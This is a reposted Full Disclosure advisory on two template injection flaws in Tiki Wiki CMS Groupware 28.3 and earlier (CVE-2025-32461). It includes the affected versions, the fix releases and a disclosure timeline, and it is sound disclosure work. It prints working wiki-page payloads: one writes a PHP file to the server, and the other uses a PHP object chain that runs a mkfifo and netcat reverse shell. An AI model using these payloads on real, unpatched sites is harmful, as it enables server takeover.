Tiki Wiki CMS Groupware <= 28.3 Two Server-Side Template Injection Vulnerabilities
Tiki Wiki CMS Groupware存在两个服务器端模板注入漏洞(SSTI),影响多个旧版本。攻击者可通过创建特定Wiki页面利用漏洞,在服务器上写入恶意PHP文件或执行系统命令。建议升级到最新版本修复问题。 2025-7-10 02:57:1 Author: seclists.org(查看原文) 阅读量:18 收藏

fulldisclosure logo

Full Disclosure mailing list archives


From: Egidio Romano <n0b0d13s () gmail com>
Date: Tue, 8 Jul 2025 12:02:03 +0200

----------------------------------------------------------------------------------
Tiki Wiki CMS Groupware <= 28.3 Two Server-Side Template Injection
Vulnerabilities
----------------------------------------------------------------------------------


[-] Software Link:

https://tiki.org


[-] Affected Versions:

Version 28.3 and prior 28.x versions.
Version 27.2 and prior 27.x versions.
Version 24.8 and prior 24.x versions.
Version 21.12 and prior 21.x versions.


[-] Vulnerabilities Description:

Tiki Wiki CMS Groupware is affected by two Server-Side Template Injection
(SSTI) vulnerabilities, which can be exploited by creating specially
crafted wiki pages.

The first vulnerability can be exploited by abusing the "customsearch"
plugin to, e.g., write arbitrary PHP files on the web server by using the
following as the source code for a wiki page:

{customsearch
tpl="string:{Nette\Utils\FileSystem::write('./evil.php','<?php
malicious_code(); ?>')}"}

The second vulnerability can be leveraged by abusing the "includetpl"
plugin to, e.g., carry out PHP Object Injection attacks, subsequently
leading to OS command execution on the web server, using the following as
the source code for a wiki page:

{includetpl
filename="eval:{Laminas\Ldap\Converter\Converter::fromLdapUnserialize('O:18:\"Search_MySql_Table\":1:{S:32:\"\00Search_MySql_Table\00schemaBuffer\";O:28:\"Search_Elastic_BulkOperation\":3:{S:35:\"\00Search_Elastic_BulkOperation\00count\";i:1;S:36:\"\00Search_Elastic_BulkOperation\00buffer\";S:83:\"rm
/tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 4444 >
/tmp/f\";S:38:\"\00Search_Elastic_BulkOperation\00callback\";S:6:\"system\";}}')}"}

Successful exploitation of these vulnerabilities requires an account with
permissions to create a wiki page and the "customsearch" or "includetpl"
plugins to be enabled.


[-] Solution:

Upgrade to version 28.4, 27.3, 24.9, or later.


[-] Disclosure Timeline:

[11/01/2025] - Vendor notified about the "customsearch" plugin vulnerability
[13/01/2025] - First vendor response
[15/01/2025] - Vendor notified about the "includetpl" plugin vulnerability
[27/03/2025] - Vendor attempted to fix the issues with new releases:
https://tiki.org/article517
[08/04/2025] - CVE identifier requested
[09/04/2025] - CVE identifier assigned
[10/04/2025] - Vendor informed of the ineffective fix
[18/06/2025] - Vendor resolved the issues with new releases:
https://tiki.org/article520
[08/07/2025] - Public disclosure


[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the name CVE-2025-32461 to these vulnerabilities.


[-] Credits:

Vulnerabilities discovered by Egidio Romano.


[-] Original Advisory:

http://karmainsecurity.com/KIS-2025-03
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/


Current thread:

  • Tiki Wiki CMS Groupware <= 28.3 Two Server-Side Template Injection Vulnerabilities Egidio Romano (Jul 09)

文章来源: https://seclists.org/fulldisclosure/2025/Jul/11
如有侵权请联系:admin#unsafe.sh